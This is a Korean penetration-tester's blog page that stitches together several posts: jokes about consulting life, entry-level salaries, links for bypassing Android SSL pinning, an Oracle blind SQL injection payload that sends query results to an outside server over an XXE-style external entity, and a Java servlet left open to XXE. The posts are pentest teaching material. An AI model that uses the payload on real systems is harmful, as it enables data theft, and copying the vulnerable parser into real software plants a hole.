misakikata.github.io/2019/05/%E5%9F%BA%E4%BA%8EdvmDexFileOpenPartial%E7%9A%84%E5%8A%A8%E6%80%81%E8%84%B1%E5%A3%B3/

컨설팅을 하다보면 그만두고 싶은 순간이 오기 마련이죠. 여러분의 그만두고 싶은 순간은 언제였나요?

3위

고객사가 너무 먼곳에 위치할 때 / 집이 너무 멀 때

출/퇴근 2-3시간이 걸리면 솔직히 이사(자취)하세요. 그게 정신건강에 이롭습니다. 하지만 저의 집은 사당이라 출/퇴근 시간이 1시간 이상 걸린적이 없습니다. 

 

2위

후배들이 너무 잘할 때 / 나이들어서 감 떨어질 때

스펙도 화려하고 해킹대회 나가서 입상하고 나이도 어린 친구들이 후배로 들어온다면? (그런 친구들은 컨설팅 안오더라구요. 다행입니다.) 저도 30중반을 달려가는 입장이다보니 가끔 감이 떨어졌다라는 느낌을 받습니다. 해킹은 지식과 경험으로 해결할 수 있는 부분이 있고 압도적인 센스로 해결되는 부분이 있다고 생각합니다.

 

근데 저의 총명함(?)이 술과 함께 희석되어 이제는 보고서에 "진단 기간 내 발견된 취약점 없음"이라는 문구가 자주 남발되는 걸 보니 저도 떠날때가 된건가요? 

 

 

 

 

1위

미래가 불투명할 때

기술 진단(해킹)을 하는 99%의 인원들이 이런 생각을 합니다. IT 분야는 개발/해킹 불문하고 빠른 트렌드, 나이로 인해 회사에서 주는 압박, 처우의 문제, 건강의 문제 등등 이런 복합적인 문제들로 인해 수명이 굉장이 짧습니다. 

 

그러면서 계속 모의해킹을 할 건지 컴플라이언스(관리)를 함께 하면서 담당자로 점프 뛸 건지에 대한 고민이 많아지죠. 빠르면 2-3년차 부터 이런 생각이 들겁니다. 저도 이러한 고민을 하고 있는 입장이라 조언을 해드릴 수가 없군요.

 

미래가 투명해질려면 시장이 변하거나 제가 변하거나 둘 중 하나겠죠? 근데 시장이 변할리는 없으니.. 제가 변해야겠습니다.. 저도 고민에 대한 해답을 찾는 중입니다. 혹시 이런 건설적인 의견을 나누실 분은 사당으로 오셔서 "사당동 입해킹"을 찾아주세요!

 

앞으로 보안을 하려는 어린이들에게 해주고픈 말이 있습니다.

 

컨설팅을 하다보면 어느 고객사를 들어가든지 꼭 듣는 이야기가 있습니다. Best 5를 추려보았습니다.

 

5위

서비스 내려야 겠네... / decommission 시킬 예정입니다.

모의해킹 결과 리뷰할 때 종종 듣는 이야기 입니다. 사용빈도가 낮은 사이트의 경우 심각한 취약점이 많이 나오면 보통 저런 이야기를 해버립니다. 처음 부터 말하지;; 혹은 반대로 취약점을 많이 찾아달라고 부탁하며 그걸 근거로 서비스를 없애 버릴 흑심(?)을 품은 담당자를 볼 수 있을 겁니다.

 

4위

작년에는 취약점 많이 나왔는데 올해는 별로 안나왔네요?

비꼬는 스킬이 만랩인지, 더 찾아달라는 건지, 다행이라는 건지 관심법을 쓰지 않으면 알 수 없는 서타일. 취약점 안나오면 좋은거 아입니까?

 

3위

아 라떼는 말이야 해킹하면 어? 고객사에서 밤도 새고 다했으 / 하 나때는 파로스로 진단했는데 세상 많이 좋아졌네 등

이 자다가 봉창 두들기는 소리는 본사에 늙은 선임(업계 탈출 실패자) 혹은 모의해킹을 혀끝으로 맛만 본 담당자에게 들을 수 있는 소리입니다. 저렇게 빌드업하다가 나중에 철수 하기 전에 시간남으면 모의해킹 좀 알려달라고 하던지 버프 쓰는 법 가르쳐달라는 분도 계시더라구요. 전 유튜브 보시면 됩니다 하고 빤쓰런 합니다요. 키득키득 (feat. 꼰머)

 

2위

커피 한잔 하시죠?

심심하면 프로젝트 룸 와가지고 과자 까먹고 노가리까다가 가거나 항상 바쁠 때 와서 커피마시자고 하는 분 많죠. 여기는 휴게소가 아닙니다..손님..아니 고객님.. 과자 값 내라. 내 돈 주고 산거 많다

 

 

 

 

 

 

 

1위

매년 인증심사를 받는데 취약점이 계속 나오죠?

4번과 반대되는 이야기죠? 이런 이야기를 들으면 자다가도 벌떡 일어나서 답변해야합니다. 그것이 진정한 컨설턴트죠. 시간이 부족하거나, 컨설턴트마다 스킬이 달라서, 변경 개발이 자주 일어나서, 사람이 하는 일이라 어쩔 수 없다는 등의 변명거리를 미리 외워두고 가세요. 현란하면 현란할 수록 좋습니다. 사실 본인(보안 담X자)이 깨지기 싫어서 저럼..

 

근데 왜 개발자한테는 암말도 못함? 개발은 그 사람들이 했는데?

 

사랑합니다. 고객님

 

이상 ㄲ ㅡ ㅌ

첫 글의 주제는 연봉입니다. 가장 궁금하지만 잘 알려지지도 않은 상상의 동물 여자친구 같은 주제 "연봉"에 대해서 말해보고자 합니다.

 

제목에도 언급했다시피 업계 전반의 연봉이 아니라 제가 겪었던(보안 컨설팅) 그리고 주위에서 들었던 정보를 바탕으로 작성하는 글이니 대략적인 수준만 참고하시길 바랍니다. 저도 잘 몰라요 엄마, 아빠 월급도 모름 

 

소규모 컨설팅 업체(신입 기준 1,800~2,600 추정)

소규모 컨설팅 업체는 정말 연봉이 작고 귀엽습니다. 제가 첫 입사했을 때 인턴 연봉으로 1,800만원 정도를 받았고 실 수령액으로 130만원 정도가 통장에 들어왔습니다. 정말 작죠? 알바하세요. 이유는 뻔합니다. 팔려나가는 단가 자체가 작기 때문에 줄 수 있는 돈도 한정되어 있는거죠. 수요와 공급 아시죠? 고등학교 경제 시간에 다 배웠죠? 전 참고로 이과, 공대 테크 ㅋ 

그런데 어떻게 사장은 다 해외에 골프치러 가고 차가 바뀌는 거죠? 

 

전문 업체(신입 기준 2,600~2,900 추정)

https://www.kisa.or.kr/business/infor/inforpro_4.jsp 여기서 앞에 대기업 이름 달고 있는 업체는 제외합니다. ㅋ

 

회계 법인(신입 기준 3,500~4,000 추정)

컨설팅 업계에서 연봉으로는 탑티어 입니다. 하지만 회계사 연봉을 들으면 깜짝 놀랄걸요? 후후

다들 회계사 자격증 따세요. 건강과 연봉을 맞바꾸는 기적이 일어날 것 입니다.

안녕하세요. 저는 6년차 보안 컨설턴트로 활동 중이며 보안 업계의 먼지와 노예 그리고 샤이가이를 맡고 있습니다. 업계 핵 아웃사이더이며 외부 활동(Ex. 강연, BoB, 모임, 스터디 등)을 한번도 해본적이 없고 탈보안의 기회만 엿보며 조용히 돈만 모으고 있습니다. 주 업무는 보안 컨설팅 업무를 진행하고 있는데 그 중 "모의해킹"을 담당하고 있습니다. 

 

워낙 보안 업계가 좁고 한 다리 건너면 다 연결되어 있어 이런 글을 쓰는게 부담스럽지만 지금껏 일하면서 느꼈던 점, 느끼고 있는 점, 탈출 방법, 맛집 등을 공유하려고 합니다. 

 

반응 좋고 댓글 많이 달리고 그런 일은 없겠지만 궁금한 점 있으면 댓글 달아주세요

 

 

Android Nougat 보안 정책

https://android-developers.googleblog.com/2016/07/changes-to-trusted-certificate.html

Android Nougat(API Level 24) 이상 버전부터 설치되는 앱은 기본적으로 사용자가 또는 관리자가 추가한 CA를 신뢰하지 않습니다. 그로인해 이전 버전과 동일하게 버프 프록시를 세팅할 경우 패킷이 안잡히는 경우를 보셨을 겁니다.

해결 방안 #1

아래 링크를 참조

https://blog.ropnop.com/configuring-burp-suite-with-android-nougat/

해결 방안 #2

https://techblog.mediaservice.net/2018/11/universal-android-ssl-pinning-bypass-2/

Frida로 해당 코드를 이용하여 해결이 가능하다.

모의해킹 업무를 진행하다보면 SQL Injection 취약점을 발견하게 됩니다. 최근(?) 만들어지는 많은 사이트들이 Framework를 활용해 제작되다 보니 SQL Injection이 나오지 않는다는 편견을 가지고 계시는데 그것은 편견이 아니라 사실 잘 안나요.. 그래도 가끔 퍼포먼스 때문에 혹은 실수(?)로 입력값에 의해 동적으로 SQL 쿼리를 처리하는 로직이 몇몇 발견되기도 합니다.  최근(현재 진행중)에도 고객사에서 Blind SQL Injection 취약점이 나왔는데 서비스의 특수성 때문에 SQLMAP은 쓰질 못하고 Python으로 자동화 짜기도 귀찮고 해서 괜찮고 한번에 실행 결과를 보여주는 쌈박한 쿼리 없을까 찾아보다가 발견했습니다.

select * from EMPLOYEES where first_name='Steven' and (select extractvalue(xmltype('<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://192.168.0.1/'||(select user from dual)||'"> %remote;]>'),'/l') from dual)='1';

XXE와 같은 원리로 구문을 실행하여 외부 서버에 결과값을 전송해주는 쿼리입니다.  보고서로 쓰기에도 멋있어 보이고 서버에 부담도 안줄수 있는 멋진 쿼리에요!(저는 실제 업무에서 사용할려다 실패했습니다.ㅜㅜ 여러분은 성공하세요)

 

거창하게 쓰긴 했지만 별로 쓸말이 없네요... XXE 설명은 이미 많은 자료들이 존재하기 때문에 따로 설명은 하지 않도록 하겠습니다. 국외 자료는 보통 PHP로 구현된 예제코드들이 많아서 올드한 servlet으로 작성해봤습니다. 바로 코드부터 보시죠. 예제 코드 자체는 매우 간단합니다. XML형식으로 받은 데이터를 그대로 응답으로 전달해주는 예제예요. 

package test.xxe;

import org.w3c.dom.Document;
import org.xml.sax.InputSource;

import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import java.io.IOException;
import java.io.PrintWriter;

public class HelloServlet extends HttpServlet {

@Override
public void init() throws ServletException {
System.out.println("init");
}

@Override
public void service(ServletRequest request, ServletResponse response) throws ServletException, IOException {
response.setContentType("text/plain; charset=UTF-8");
PrintWriter out = response.getWriter();
try {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(request.getInputStream()));

String first = doc.getElementsByTagName("first").item(0).getTextContent();
String last = doc.getElementsByTagName("last").item(0).getTextContent();

out.println("name:" + first + " " + last);
} catch (Exception e) {
e.printStackTrace(out);
}
}

}

위 코드가 정확하게 동작한다면 <name><first>oh</first>dj</last></name>이라고 입력 시 응답으로 name: oh dj가 출력되는 것을 확인하실 수 있을 거에요

그럼 이제 XXE를 활용한 공격을 진행해보록 하겠습니다.

LFI(Local File Includsion)

외부 엔티티에대한 사용이 허용되있을 경우 아래 처럼 서버 내 파일을 읽어올 수 있습니다. 참 쉽죠?

 

ㄲ ㅡ ㅌ 이 아니라 이어서 다른 공격도 작성해보도록 하겠습니다. 

 

+ Recent posts